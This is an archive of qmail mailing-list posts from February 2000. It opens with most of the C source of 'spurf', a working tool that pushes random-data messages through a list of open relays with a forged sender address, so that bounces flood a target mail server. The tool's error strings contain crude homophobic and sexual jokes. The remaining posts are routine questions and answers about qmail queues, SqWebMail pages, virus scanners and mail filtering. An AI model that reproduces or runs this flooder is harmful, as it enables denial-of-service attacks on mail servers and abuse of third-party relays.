#define RANDOM_DATA     "/dev/urandom"
extern int errno;

void usage(void)
{
        printf("spurf [-t target] [-f relays] [-n messages] [-s size]\n");
        exit(-1);
}

int main(int argc, char **argv)
{
        int args;
        char *target;
        char *relayfile;
        int msgcnt;
        int msglen;
        FILE *relays;
        char relay[MAXHOSTNAMELEN];

        printf("spurf 0.1 by missnglnk\n");
        printf("http://tribune.intranova.net\n\n");

        if (argc < 2) {
                usage();
        }

        target = NULL;
        relayfile = NULL;
        msgcnt = -1;
        msglen = -1;

        while ((args = getopt(argc, argv, "t:f:n:s:")) != -1) {
                switch(args) {
                        case 't':
                                if (strlen(optarg) > 128) {
                                        printf("[spurf]\tridiculous email 
address\n\n");
                                        return -1;
                                }

                                target = optarg;
                                break;
                        case 'f':
                                relayfile = optarg;
                                break;
                        case 'n':
                                msgcnt = atoi(optarg);
                                break;
                        case 's':
                                msglen = atoi(optarg);
                                if (msglen < 128) {
                                        printf("[spurf]\tridiculous size\n\n");
                                        return -1;
                                }
                                break;
                        case '?':
                        default:
                                usage();
                                break;
                }
        }

        argc -= optind;
        argv -= optind;

        if (target == NULL || relayfile == NULL || msgcnt == -1 || msglen == -1) {
                printf("[spurf]\tyou have no clue about tonight's party\n");
                printf("[error]\tmissing arguments\n\n");
                usage();
        }

        if ((relays = fopen(relayfile, "r")) == NULL) {
                printf("[spurf]\tyou cant pick the lock on johnny cool's locker\n");
                printf("[error]\t%s\n\n", strerror(errno));
                return -1;
        }

        while (fgets(relay, MAXHOSTNAMELEN, relays) != NULL) {
                relay[strlen(relay) - 1] = NULL;
                if (spurf(target, relay, msgcnt, msglen) == -1) {
                        printf("[spurf]\t%s failed\n\n", relay);
                }
        }

        if (fclose(relays) < 0) {
                printf("[spurf]\tyou and your bloody, loose ass walk past the village 
people\n");
                printf("[error]\t%s\n\n", relayfile, strerror(errno));
                return -1;
        }

        return 0;
}

int spurf(char *target, char *relay, int msgnum, int msglen)
{
        FILE *randfile;
        int i;
        int sock;
        char *randdata;
        char rcvbuf[1024];
        char msgline[msglen];
        struct hostent *he;
        unsigned long ip;
        struct sockaddr_in sin;
        
        if ((randdata = malloc(msglen)) == NULL) {
                printf("[spurf]\tyou get caught stealing an invitation\n");
                printf("[error]\t%s\n", msglen, strerror(errno));
                return -1;
        }

        if ((he = gethostbyname(relay)) != NULL) {
                ip = *(unsigned long *)he->h_addr;
        } else {
                if ((ip = inet_addr(relay)) == NULL) {
                        printf("[spurf]\tgot caught making copies at kinko's\n");
                        printf("[error]\t%s\n", strerror(errno));
                        free(randdata);
                        return -1;
                }
        }

        bzero(&sin, sizeof(sin));
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = ip;
        sin.sin_port = htons(25);

        for (i = 1; i <= msgnum; i++) {
                if ((randfile = fopen(RANDOM_DATA, "r")) == NULL) {
                        printf("[spurf]\tcouldnt find party invitation\n");
                        printf("[error]\t%s\n", strerror(errno));
                        free(randdata);
                        return -1;
                }

                if (fread(randdata, msglen, 1, randfile) < 1) {
                        printf("[spurf]\tyour cool party clothes are locked in mom's 
room\n");
                        printf("[error]\t%s\n", strerror(errno));
                        free(randdata);
                        return -1;
                }

                if (fclose(randfile) < 0) {
                        printf("[spurf]\tcouldnt hide them from mom quick 
enough\n\t%s\n", strerror(errno));
                        free(randdata);
                        return -1;
                }


                if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
                        printf("[spurf]\tgot caught climbing out the window\n");
                        printf("[error]\t%s\n", strerror(errno));
                        free(randdata);
                        return -1;
                }

                if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
                        printf("[spurf]\tbedsheet we're climbing down ripped in 
half\n");
                        printf("[error]\t%s\n", strerror(errno));
                        free(randdata);
                        return -1;
                }

                bzero(rcvbuf, sizeof(rcvbuf));
                if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
                        printf("[spurf]\tno more standing or sitting space\n");
                        printf("[error]\t%s\n", strerror(errno));
                        free(randdata);
                        return -1;
                }

                if (strstr(rcvbuf, "220") == NULL) {
                        printf("[spurf]\tmissed the motherfucking bus *again*\n");
                        printf("[error]\t%s", rcvbuf);
                        free(randdata);
                        return -1;
                }

                snprintf(msgline, msglen, "HELO tribune.intranova.net\n");
                if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
                        printf("[spurf]\tgot chumped by the bus driver\n");
                        printf("[error]\t%s\n", strerror(errno));
                        free(randdata);
                        return -1;
                }

                bzero(rcvbuf, sizeof(rcvbuf));
                if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
                        printf("[spurf]\tno more standing or sitting space\n");
                        printf("[error]\t%s\n", strerror(errno));
                        free(randdata);
                        return -1;
                }

                if (strstr(rcvbuf, "250") == NULL) {
                        printf("[spurf]\tguy sitting next to you grabbed your ass\n");
                        printf("[error]\t%s", rcvbuf);
                        free(randdata);
                        return -1;
                }

                snprintf(msgline, msglen, "MAIL FROM: %s\n", target);
                if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
                        printf("[spurf]\tgot bitchslapped after telling a girl you're 
from jersey\n");
                        printf("[error]\t%s\n", strerror(errno));
                        free(randdata);
                        return -1;
                }

                bzero(rcvbuf, sizeof(rcvbuf));
                if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
                        printf("[spurf]\tembarassed to read her number with your 
glasses on\n");
                        printf("[error]\t%s\n", strerror(errno));
                        free(randdata);
                        return -1;
                }

                if (strstr(rcvbuf, "250") == NULL) {
                        printf("[spurf]\tyou make out her name, b-r-u-c-e\n");
                        printf("[error]\t%s", rcvbuf);
                        free(randdata);
                        return -1;
                }

                snprintf(msgline, msglen, "RCPT TO: %ld@%s\n", random(), relay);
                if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
                        printf("[spurf]\tyou realize you're on the wrong bus\n");
                        printf("[error]\t%s\n", strerror(errno));
                        free(randdata);
                        return -1;
                }

                bzero(rcvbuf, sizeof(rcvbuf));
                if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
                        printf("[spurf]\tyou miss your stop and end up in the 
desert\n");
                        printf("[error]\t%s\n", strerror(errno));
                        free(randdata);
                        return -1;
                }

                if (strstr(rcvbuf, "250") == NULL) {
                        printf("[spurf]\tthis invitation is to the other party 3 
months ago\n");
                        printf("[error]\t%s", rcvbuf);
                        free(randdata);
                        return -1;
                }

                snprintf(msgline, msglen, "DATA\n");
                if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
                        printf("[spurf]\tyour excuse is full of shit\n");
                        printf("[error]\t%s\n", strerror(errno));
                        free(randdata);
                        return -1;
                }

                bzero(rcvbuf, sizeof(rcvbuf));
                if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
                        printf("[spurf]\tyou dont know whether to explain or not\n");
                        printf("[error]\t%s\n", rcvbuf);
                        free(randdata);
                        return -1;
                }

                if (strstr(rcvbuf, "354") == NULL) {
                        printf("[spurf]\tyou get punched in the mouth starting to 
explain\n");
                        printf("[error]\t%s", rcvbuf);
                        free(randdata);
                        return -1;
                }

                snprintf(msgline, msglen, "%s\r\n.\r\n", randdata);
                if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
                        printf("[spurf]\tyou get punched in the mouth while 
explaining\n");
                        printf("[error]\t%s\n", strerror(errno));
                        free(randdata);
                        return -1;
                }

                bzero(rcvbuf, sizeof(rcvbuf));
                if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
                        printf("[spurf]\tyou're unconscious for some silly reason\n");
                        printf("[error]\t%s\n", strerror(errno));
                        free(randdata);
                        return -1;
                }

                if (strstr(rcvbuf, "250") == NULL) {
                        printf("[spurf]\tyou get kicked out before the party 
starts\n");
                        printf("[error]\t%s", rcvbuf);
                        free(randdata);
                        return -1;
                }

                snprintf(msgline, msglen, "QUIT\n");
                if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
                        printf("[spurf]\tyou're whacked with a broom before the 
door\n");
                        printf("[error]\t%s\n", strerror(errno));
                        free(randdata);
                        return -1;
                }

                bzero(rcvbuf, sizeof(rcvbuf));
                if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
                        printf("[spurf]\tyou cant tell who's hitting you\n");
                        printf("[error]\t%s\n", strerror(errno));
                        free(randdata);
                        return -1;
                }

                if (strstr(rcvbuf, "221") == NULL) {
                        printf("[spurf]\traving homos come downstairs and wont let you 
leave\n");
                        printf("[error]\t%s", rcvbuf);
                        free(randdata);
                        return -1;
                }

                if (close(sock) < 0) {
                        printf("[spurf]\tyou cant keep your ass closed tight 
enough\n");
                        printf("[error]\t%s\n", strerror(errno));
                        free(randdata);
                        return -1;
                }
        }

        return 0;
}

-- 
+-------------------------------------------------------------------------+
| Omachonu Ogali                                     [EMAIL PROTECTED] |
| Intranova Networking Group                 http://tribune.intranova.net |
| PGP Key ID:                                                  0xBFE60839 |
| PGP Fingerprint:       C8 51 14 FD 2A 87 53 D1  E3 AA 12 12 01 93 BD 34 |
+-------------------------------------------------------------------------+





At 11:04 AM 2/20/00 -0800, Dirk Harms-Merbitz wrote:
>SMTP bounces can be used in yet another form of Denial Of Service attack.

This is nothing new.


>Just imagine what happens when some script kiddie uses a few ten
>thousand trojaned cable/dsl connected home computers to send email
>to tens of thousands of domains and they all bounce back to your
>mail server!

Those hosts would need to be open relays.


>Why don't we all just turn SMTP bounces OFF? Like return-receipts,
>the information content in bounces is very low.

I disagree. If my domainname is being forged in a spam, I'd like
to know about it. Bounces will get to me hours before any of the
complaints do.


>A database would be much more efficient if you just want to know
>wether an email address is spelled correctly. Resending the entire
>message after adding a few hundred bytes is just idiotic. Escpecially
>if the attacker only has to send one message to generate 100 bounces.

I don't see how 'a database' would solve this problem. How would a
sending mailserver know who to ask? And what would it do when the
emailaddress doesn't exist?


>We are currently seeing this first hand: Our real mail.power.net is
>at 207.151.19.8. The attacker is sending individualized emails with
>faked headers that contain "mail.power.net (unverified [209.26.14.22])".
>
>The recipient computers are dumb enough to send their bounces to
>the real mail.power.net.

You don't show the return-path, but they're also forging From:, and
one of those is causing your bounces, not the Received: line.


>This is a DOS because the innocent mail server a) gets millions of
>bounces and

Agreed. Relay-rape is criminal.

>b) might get black listed on various "anti-spam" lists.

Any admin that would blacklist mail.power.net on the basis of the
header below might as well turn SMTP off altogether.

Blocking the open relays used in the spam will alleviate some of
the load; mee.yjapt.co.kr is in RSS and ORBS.


>Dirk
>
>
>Received: from mail.power.net (unverified [209.26.14.22]) by mee.yjapt.co.kr
>  (EMWAC SMTPRS 0.83) with SMTP id <[EMAIL PROTECTED]>;
>  Mon, 21 Feb 2000 01:20:18 +0900
>Message-ID: <[EMAIL PROTECTED]>
>From: [EMAIL PROTECTED] <[EMAIL PROTECTED]>
>Bcc:
>Subject: Private Consultants Needed for Venture Capital Firm
>Date: Mon, 30 Mar 1998 10:04:48 -0400 (EDT)

Vince.





Hi,
I set up SqWebMail for the students at our school, and I'd like to give
the HTML-Pages of SqWebMail a diffrent design. For example I'd like to
chande the Buttons against pictures. Is that possible?

  Thank you
        Arik Funke
        Merrill High School, Wisconsin, USA





Arik

The HTML files which are used to generate the pages are in the
/usr/local/share/sqwebmail/html/en-us directory. You can edit these so
lng as you make sure to keep the embedded tags which SqWebmail uses.
(I've done it, so I know it works).

Adrian.

Arik Funke wrote:
> 
> Hi,
> I set up SqWebMail for the students at our school, and I'd like to give
> the HTML-Pages of SqWebMail a diffrent design. For example I'd like to
> chande the Buttons against pictures. Is that possible?
> 
>   Thank you
>         Arik Funke
>         Merrill High School, Wisconsin, USA




Arik

Which buttons exactly - and what do you want to do with them? 

Adrian

Arik Funke wrote:
> 
> Adrian
> 
> Thank you, for your fast answer, but I'd especially to change the Layout
> of the buttons. Do you have got in this case an idea too?
> 
> Adrian Urquhart wrote:
> >
> > Arik
> >
> > The HTML files which are used to generate the pages are in the
> > /usr/local/share/sqwebmail/html/en-us directory. You can edit these so
> > lng as you make sure to keep the embedded tags which SqWebmail uses.
> > (I've done it, so I know it works).
> >
> > Adrian.




Adrian

For example, if you read a message, on top and buttom are the buttoms
labeled: Prev, Next, Delete, Folder, Reply, Reply to all...

I'd like to repace them with pictures. Or I'd like to change the color.

  Thank you
        Arik

Adrian Urquhart wrote:
> 
> Arik
> 
> Which buttons exactly - and what do you want to do with them?
> 
> Adriann





Hi,
I set up a qmail-mail-server with SqWebMail for our school. It would be
great, if the student could create their accounts by their own, over a
web-interface. Knows anyone how to do that? I think about a solution
like hotmail, yahoo, ...


 Thank you very much
        Arik Funke
        Merril High School, Wisconsin, USA





>I have a project deadline of tuesday(yeah i know its
>close but the origonal deadline _was_ friday and we
>didnt get the hardware till 5 pm thrus) what i need is
>to create a proxy that does this:
>
>1) Receives mail via standard smtp


use qmail for receiving the smtp-mails

>2) scans for virii

look at www.unixzone.com/virus for the current amavis-version that includes
qmail-support

>3) forwards (preferably blindly) to a second
>mailserver via smtp.


add an smtproute into /var/qmail/smtproutes for example:

:forwarding_host.without.mxrecord

or

:[IP.Number.of.HOST]

Perhaps you should edit some lines in the amavis scanmails-script, if you
would like to send virus-alerts to the sender and reciepent of an infected
mail using smtp-routes. I use (still) 0.2.0-pre6-clm-rl-4, and this version
generates only for local deliveries alert-messages that are directed to
sender  and the reciepent.









Hi all-

I'm getting the following in my syslog every 10 mins:
(slackware 2.2.10, qmail 1.03)

Feb 21 13:18:34 praxis inetd[93]: smtp/tcp: bind: Address already in use
Feb 21 13:28:34 praxis inetd[93]: smtp/tcp: bind: Address already in use
Feb 21 13:38:36 praxis inetd[93]: smtp/tcp: bind: Address already in use


A Search of usenet shows a couple of people having similar problems
but I can't find a solution.  One was to make sure that sendmail
isn't running, which it isn't in my case cause i use
qmail-smtpdl.

Any ideas?

thanks,
dave




> I'm getting the following in my syslog every 10 mins:
> (slackware 2.2.10, qmail 1.03)
> 
> Feb 21 13:18:34 praxis inetd[93]: smtp/tcp: bind: Address already in use
> Feb 21 13:28:34 praxis inetd[93]: smtp/tcp: bind: Address already in use
> Feb 21 13:38:36 praxis inetd[93]: smtp/tcp: bind: Address already in use

  Something is already using the address/port that SMTP is trying to
bind.  That usually means that an instance of some smtp server is already
running.  Try ps -aef | grep smtp

steve







That's what I thought too, but the only thing
showing up in the process table is this:

qmaild      70  0.0  0.0   844   68 ?        S    Feb13   0:00
/usr/local/bin/tcpserver -R -x/etc/tcp.smtp.cdb -c100 -u1002 -g101 0 smtp
/var/qmail/bin/qmail-smtpd

The one thing that's supposed to be there.


> > I'm getting the following in my syslog every 10 mins:
> > (slackware 2.2.10, qmail 1.03)
> >
> > Feb 21 13:18:34 praxis inetd[93]: smtp/tcp: bind: Address already in use
> > Feb 21 13:28:34 praxis inetd[93]: smtp/tcp: bind: Address already in use
> > Feb 21 13:38:36 praxis inetd[93]: smtp/tcp: bind: Address already in use
>
>   Something is already using the address/port that SMTP is trying to
> bind.  That usually means that an instance of some smtp server is already
> running.  Try ps -aef | grep smtp
>
> steve
>





On Mon, Feb 21, 2000 at 02:09:25PM -0500, David McMahon mentioned:
> 
> That's what I thought too, but the only thing
> showing up in the process table is this:
> 
> qmaild      70  0.0  0.0   844   68 ?        S    Feb13   0:00
> /usr/local/bin/tcpserver -R -x/etc/tcp.smtp.cdb -c100 -u1002 -g101 0 smtp
> /var/qmail/bin/qmail-smtpd
> 
> The one thing that's supposed to be there.

 Ah. Well then, don't list something in the /etc/inetd.conf file. (or
else, you had it listed, removed it, but didn't send inetd a HUP signal to
tell it to re-read the configs ?

Kate

PGP signature





I have the following question:
When I run qmail-stat
I get the following:

messages in queue: 35
messages in queue but not yet preprocessed: 0

I understand that the first line tells me the amount of email that has
not been delivered yet, what I don't understand is what does it mean
that an email is not preprocessed... what preporcessing is required to
be done...
and then I enter the todo, and there is nothing (everything is in the
mess folder) so when I use qmail-qread I get a list of email... but some
of this email have already been delivered...and it starts sending the
same mail over and over...

I am using qmail+vpopmail in an AIX







Guillermo Villasana Cardoza wrote:

> I forgot I am using this rc file:
>
> #!/bin/sh
>
> exec env - PATH="/var/qmail/bin:$PATH" \
> qmail-start '|dot-forward .forward ./Maildir/' splogger qmail &
> env - PATH="/var/qmail/bin:/usr/local/bin" tcpserver 0 pop-3
> /var/qmail/bin/qmai
> l-popup 207.249.134.223 /var/qmail/vpopmail/bin/vchkpw
> /var/qmail/bin/qmail-pop3
> d Maildir &
>
> /usr/local/bin/tcpserver -R -x/etc/tcp.smtp.cdb -c100 -u2199 -g 206 0 smtp
> /var/
> qmail/bin/qmail-smtpd &
>

I am also getting this warning:

Feb 21 19:36:20 ns qmail: 951161780.001515 warning: trouble opening
local/3/3453
; will try again later
Feb 21 19:36:20 ns qmail: 951161780.002090 warning: trouble opening
local/4/3454
; will try again later
Feb 21 19:36:24 ns qmail: 951161784.001896 warning: trouble opening
local/2/3774
; will try again later

I looked and this files did not exist... I ran queue-fix and it told
me it
was fixed...



>
> Guillermo Villasana Cardoza wrote:
>
> > I have the following question:
> > When I run qmail-stat
> > I get the following:
> >
> > messages in queue: 35
> > messages in queue but not yet preprocessed: 0
> >
> > I understand that the first line tells me the amount of email that has
> > not been delivered yet, what I don't understand is what does it mean
> > that an email is not preprocessed... what preporcessing is required to
> > be done...
> > and then I enter the todo, and there is nothing (everything is in the
> > mess folder) so when I use qmail-qread I get a list of email... but some
> > of this email have already been delivered...and it starts sending the
> > same mail over and over...
> >
> > I am using qmail+vpopmail in an AIX





Guillermo Villasana Cardoza <[EMAIL PROTECTED]> wrote:

>I have the following question:
>When I run qmail-stat
>I get the following:
>
>messages in queue: 35
>messages in queue but not yet preprocessed: 0
>
>I understand that the first line tells me the amount of email that has
>not been delivered yet, what I don't understand is what does it mean
>that an email is not preprocessed... what preporcessing is required to
>be done...
>and then I enter the todo, and there is nothing (everything is in the
>mess folder)

See:

  http://www.faqts.com/knowledge-base/view.phtml/aid/1139/fid/208/lang/en

>so when I use qmail-qread I get a list of email... but some
>of this email have already been delivered...and it starts sending the
>same mail over and over...

See:

  http://www.faqts.com/knowledge-base/view.phtml/aid/1140/fid/208/lang/en

-Dave




Is anyone here using Frederik Vermeulen's TLS (transport-layer
security) patch? (http://www.esat.kuleuven.ac.be/~vermeule/qmail/tls.patch)

I installed it, but I can't get it to work and I don't know how to
debug it. I sent him mail Friday but haven't gotten a reply yet.

-Dave




Hi,

I'm trying to develop a solution which allow me to "check" emails before
they get to my mailbox.  Basically, I need a way of searching the Subject
line and Message Body to check for a particular word(s); if those words are
present, forward the message; if not, then do nothing (leave it to be
downloaded.)

I have one idea of doing it, but being a beginner don't really want to
submit it a) because it'll be wrong, and b) - well, I don't know a B.  Can
anyone help?

Will

Web Developer and Programmer - SharkDesign.co.uk
Lukrative Media Ltd
Domains-> http://CreativeNames.co.uk





> I'm trying to develop a solution which allow me to "check" emails before
> they get to my mailbox.  Basically, I need a way of searching the Subject
> line and Message Body to check for a particular word(s); 

That's what the .qmail files are for. Have a look at the man pages 
dot-qmail(5) and qmail-command(8).

Regards, Frank




I have tried 3 times now, unsuccesfully, to get a price quote from NAI
for a UNIX (Solaris) based virus scanner. I need one for my MX to scan
emails with and 2 to scan my user home dirs on my fileservers which
serve out those homedirs via samba to Windows boxen. For some reason,
NAI does not want my business. Or rather, they keep trying to sell me
some big kit, most of which I do not need.

Any suggestions, experiences with other scanners?

-- 
______________________________________________________
Mark Drummond|ICQ#19153754|mailto:[EMAIL PROTECTED]
         Gang Warily|http://signals.rmc.ca/
Kingston Linux Users Group|http://signals.rmc.ca/klug/




Cyber's VFind has been very good.  You may have to write your own shell
wrapper to call it, but it is a flexible stdin-to-stdout kind of virus
scanner.

http://www.cyber.com/

-Martin

-- 
Martin A. Brown --- Wonderfrog Enterprises --- [EMAIL PROTECTED]

On Mon, 21 Feb 2000, Mark E. Drummond wrote:

:I have tried 3 times now, unsuccesfully, to get a price quote from NAI
:for a UNIX (Solaris) based virus scanner. I need one for my MX to scan
:emails with and 2 to scan my user home dirs on my fileservers which
:serve out those homedirs via samba to Windows boxen. For some reason,
:NAI does not want my business. Or rather, they keep trying to sell me
:some big kit, most of which I do not need.
:
:Any suggestions, experiences with other scanners?
:
:





On Mon, Feb 21, 2000 at 04:13:13PM -0500, Mark E. Drummond wrote:
> I have tried 3 times now, unsuccesfully, to get a price quote from NAI
> for a UNIX (Solaris) based virus scanner. I need one for my MX to scan

Trend (http://www.antivirus.com/), and Sophos (http://www.sophos.com/) also
do Unix versions of their virus scanners.

They all have difficulty dealing with Unix sites... Thankfully(!!) we are
primarily a M$ site and have enterprise licenses for most of this stuff -
which means I've never had to worry about tracking down prices/etc :-)


-- 
Cheers

Jason Haar

Unix/Network Specialist, Trimble NZ
Phone: +64 3 3391 377 Fax: +64 3 3391 417
               




"Mark E. Drummond" wrote:
> I have tried 3 times now, unsuccesfully, to get a price quote from NAI
> for a UNIX (Solaris) based virus scanner. I need one for my MX to scan
> emails with and 2 to scan my user home dirs on my fileservers which
> serve out those homedirs via samba to Windows boxen. For some reason,
> NAI does not want my business. Or rather, they keep trying to sell me
> some big kit, most of which I do not need.
> Any suggestions, experiences with other scanners?

Well, afaik not much companies offer a virus scanner for Solaris. At the
moment, I remember only Sophos Sweep, InterScan VirusWall from Trend
Micro and CyberSoft VFIND.

cu, Rainer
-- 
Member of Virus Help Munich (www.vhm.haitec.de)       | Rainer Link      
Member of AMaViS Development Team (amavis.org)        | [EMAIL PROTECTED]     
Maintainer FAQ "antivirus for Linux" (av-linux.w3.to) | rainer.w3.to




Kristina writes:
> I want to configure qmail-local to deliver mail to /var/spool/mail/username/
> Maildir.

You might try putting
'/var/spool/mail/$LOCAL/Maildir/'
in /var/qmail/rc (or whatever you use to start qmail), in place of the
default delivery method (probably ./Maildir or '|preline procmail').
This probably won't work, though; I don't think the delivery method is
subject to shell interpretation or plain variable substitution.  Make
sure $LOCAL is contained within single quotes, as above; otherwise, it
certainly won't work.  (It doesn't matter whether the quotes are
around just $LOCAL or the whole thing.)

Note that this will affect everyone who doesn't use their own .qmail,
and so they'll need their own Maildirs as well.

> The /usr/share/man/cat5/dot-qmail.0 file tells you how to write a
> .qmail file to change delivery, however its too difficult for me to comprehe
> nd.

Put the line
/var/spool/mail/username/Maildir/
in username's .qmail file.  (Don't forget the / at the end.)  This
will certainly work; doing it system-wide is the hard part.  I use
something similar myself; my .qmail contains:
/var/spool/maildir/username/
Perfect delivery isn't guaranteed for asynchronously-mounted
filesystems, and mounting /home synchronously would be unpleasant, so
I mount /var synchronously and deliver mail there.


paul




Hi all,

I am trying to debug problems we have had delivering to specific domains.
I would like to use qmailanalog to tell me the following things, if
possible:

1)      When multiple MX records exist for a domain, what percentage of
        deliveries are successful (and what percentage of deliveries are
        deferred) for each mail relay?

2)      When there are multiple users to which I am trying to send in the
        same domain, what percentage of deliveries are successful (and
        what percentage of deliveries experience temporary or permanent
        errors) for each user?

Is there rigorous documentation for qmailanalog that I am missing?  I am
able to use the standard z* scripts, but so far haven't found one that
will split the deliveries by IP, and unless I'm missing something,
zrecipients does not distinguish between successes and failures.

Thanks,
Andy

Andy Huhn
DataSwitch Information Services, Inc.
http://www.stormwarn.com/







is there a way to dump a message that contains a certain string of words in
the subject line, or in the message body??

i.e. take any message with the string"pretty park" contained in it and send
it to /dev/null??

thanks!

Bernie Courtney






procmail is your friend, read the manpage and have fun.


Quoting [EMAIL PROTECTED] ([EMAIL PROTECTED]):
> 
> 
> is there a way to dump a message that contains a certain string of words in
> the subject line, or in the message body??
> 
> i.e. take any message with the string"pretty park" contained in it and send
> it to /dev/null??
> 
> thanks!
> 
> Bernie Courtney
> 
> 

-- 
David Mandala, Senior Executive, Linuxcare, Inc.
415 354-4347 ext 240 tel, 415 701-7457 fax
[EMAIL PROTECTED] http://www.linuxcare.com/
Linuxcare.  Support for the revolution.




> is there a way to dump a message that contains a certain string of words in
> the subject line, or in the message body??
> 
> i.e. take any message with the string"pretty park" contained in it and send
> it to /dev/null??

.qmail:
        # the next two lines must be one ... unless sent by email.
        | 822field subject |grep -i "pretty park" >/dev/null \
          && echo dropping pretty park message && exit 99
        # dito.
        | sed '1,/^$/d' |grep -i "pretty park" >/dev/null \
          && echo dropping pretty park message && exit 99
        # or whatever your delivery type is.
        ./Maildir/ 

you'll need http://cr.yp.to/mess822.html for that.

Regards, Uwe





Hi,

I have a new installation of qmail running 'supervised', but whenever I
try to send a message to [EMAIL PROTECTED], the message is queued, it just
sits there. Say, after sending two messages, this is what I get :

$ qmail queue
messages in queue: 2
messages in queue but not yet preprocessed: 2

I'm not even sure the message is passed to qmail-send and that's where
it "sits", or it sits right before that (??). Doing a 'qmail doqueue'
doesn't help. They just sit there. Sometimes (only sometimes),
restarting qmail-send does it, but normally it doesn't help either. All
processes seem to be running fine:

  447 ?        S      0:00 svscan
  448 ?        S      0:00 supervise qmail-send
  449 ?        S      0:00 supervise log
  450 ?        S      0:00 supervise qmail-smtpd
  451 ?        S      0:00 supervise log
  454 ?        S      0:00 /usr/local/bin/multilog t /var/log/qmail
  455 ?        S      0:00 /usr/local/bin/multilog t
/var/log/qmail/smtpd
 1272 ?        S      0:00 qmail-send
 1274 ?        S      0:00 /usr/local/bin/tcpserver -v -p -x
/etc/tcp.smtp.cdb -u 503 -g 503 0 smtp /var/qmail/bin/qmail-smtpd
 1275 ?        S      0:00 qmail-lspawn |preline procmail
 1276 ?        S      0:00 qmail-rspawn
 1277 ?        S      0:00 qmail-clean

I first suspected of identd, because at first I had it enabled, and when
the server would receive a message, it would launch a number of
in.identd processes that when killed (manually by me), it'd get the
messages preprocessed and delivered, but then I did disable identd and
same thing happened but without the identd processes - the messages
would simply sit there.

I then thought of dns problems (??), looking for something that was
perhaps slowing it all down - but I just can't nail it, and as far as
the messages sit there, nothing is logged that'd give me a clue what's
wrong.

Could anyone think of something that'd be causing this problem?

Thanks!





Problem fixed (or why always the simplest of it all drives you nuts the
most)

The INTERNALS file and LWQ had the answer right in front of my nose all
the time: /var/qmail/queue/lock/trigger was messed up ->
http://Web.InfoAve.Net/~dsill/lwq.html#trigger

Thanks,

"[EMAIL PROTECTED]" wrote:
> 
> Hi,
> 
> I have a new installation of qmail running 'supervised', but whenever I
> try to send a message to [EMAIL PROTECTED], the message is queued, it just
> sits there. Say, after sending two messages, this is what I get :
> 
> $ qmail queue
> messages in queue: 2
> messages in queue but not yet preprocessed: 2
> 
> I'm not even sure the message is passed to qmail-send and that's where
> it "sits", or it sits right before that (??). Doing a 'qmail doqueue'
> doesn't help. They just sit there. Sometimes (only sometimes),
> restarting qmail-send does it, but normally it doesn't help either. All
> processes seem to be running fine:
> 
>   447 ?        S      0:00 svscan
>   448 ?        S      0:00 supervise qmail-send
>   449 ?        S      0:00 supervise log
>   450 ?        S      0:00 supervise qmail-smtpd
>   451 ?        S      0:00 supervise log
>   454 ?        S      0:00 /usr/local/bin/multilog t /var/log/qmail
>   455 ?        S      0:00 /usr/local/bin/multilog t
> /var/log/qmail/smtpd
>  1272 ?        S      0:00 qmail-send
>  1274 ?        S      0:00 /usr/local/bin/tcpserver -v -p -x
> /etc/tcp.smtp.cdb -u 503 -g 503 0 smtp /var/qmail/bin/qmail-smtpd
>  1275 ?        S      0:00 qmail-lspawn |preline procmail
>  1276 ?        S      0:00 qmail-rspawn
>  1277 ?        S      0:00 qmail-clean
> 
> I first suspected of identd, because at first I had it enabled, and when
> the server would receive a message, it would launch a number of
> in.identd processes that when killed (manually by me), it'd get the
> messages preprocessed and delivered, but then I did disable identd and
> same thing happened but without the identd processes - the messages
> would simply sit there.
> 
> I then thought of dns problems (??), looking for something that was
> perhaps slowing it all down - but I just can't nail it, and as far as
> the messages sit there, nothing is logged that'd give me a clue what's
> wrong.
> 
> Could anyone think of something that'd be causing this problem?
> 
> Thanks!




I have used qmail before in a work setting, and finally got 
around to installing it on one of my mail servers. My question
is why cant I send and receive mail to root. This is qmail 1.0.3
that I compiled no other bells and whistles and yes everything
else works including .qmail. I can set up a .qmail and forward
root mail to another server but cannot receive it on the target
machine. Hints? Vowels? Nouns? Clues?
Do you need more info, ask away.

Henri

-- 
-------------------------------------------------------------
"All data leaves a trail. The search for data leaves a trail.
The erasure of data leaves a trail.The absence of data, under
the right circumstances,can leave the clearest trail of all-
Dr. Kio Masada" 
-------------------------------------------------------------




qmail will not deliver to any user with a uid of 0. Period.  This is a
security issue and is covered in the FAQ and the docs.

On Mon, 21 Feb 2000, Henri J. Schlereth wrote:

> I have used qmail before in a work setting, and finally got 
> around to installing it on one of my mail servers. My question
> is why cant I send and receive mail to root. This is qmail 1.0.3
> that I compiled no other bells and whistles and yes everything
> else works including .qmail. I can set up a .qmail and forward
> root mail to another server but cannot receive it on the target
> machine. Hints? Vowels? Nouns? Clues?
> Do you need more info, ask away.
> 
> Henri
> 
> -- 
> -------------------------------------------------------------
> "All data leaves a trail. The search for data leaves a trail.
> The erasure of data leaves a trail.The absence of data, under
> the right circumstances,can leave the clearest trail of all-
> Dr. Kio Masada" 
> -------------------------------------------------------------
> 

---------------------------------
Timothy L. Mayo                         mailto:[EMAIL PROTECTED]
Senior Systems Administrator
localconnect(sm)
http://www.localconnect.net/

The National Business Network Inc.      http://www.nb.net/
One Monroeville Center, Suite 850
Monroeville, PA  15146
(412) 810-8888 Phone
(412) 810-8886 Fax





Henri J. Schlereth writes:
> My question is why cant I send and receive mail to root.

man qmail-getpw:
       qmail-getpw considers an account in /etc/passwd  to  be  a
       user  if  (1)  the  account  has  a  nonzero  uid, (2) the
       account's home directory exists (and is visible to  qmail-
       getpw),  and  (3)  the  account  owns  its home directory.
       qmail-getpw ignores  account  names  containing  uppercase
       letters.   qmail-getpw also assumes that all account names
       are shorter than 32 characters.


paul




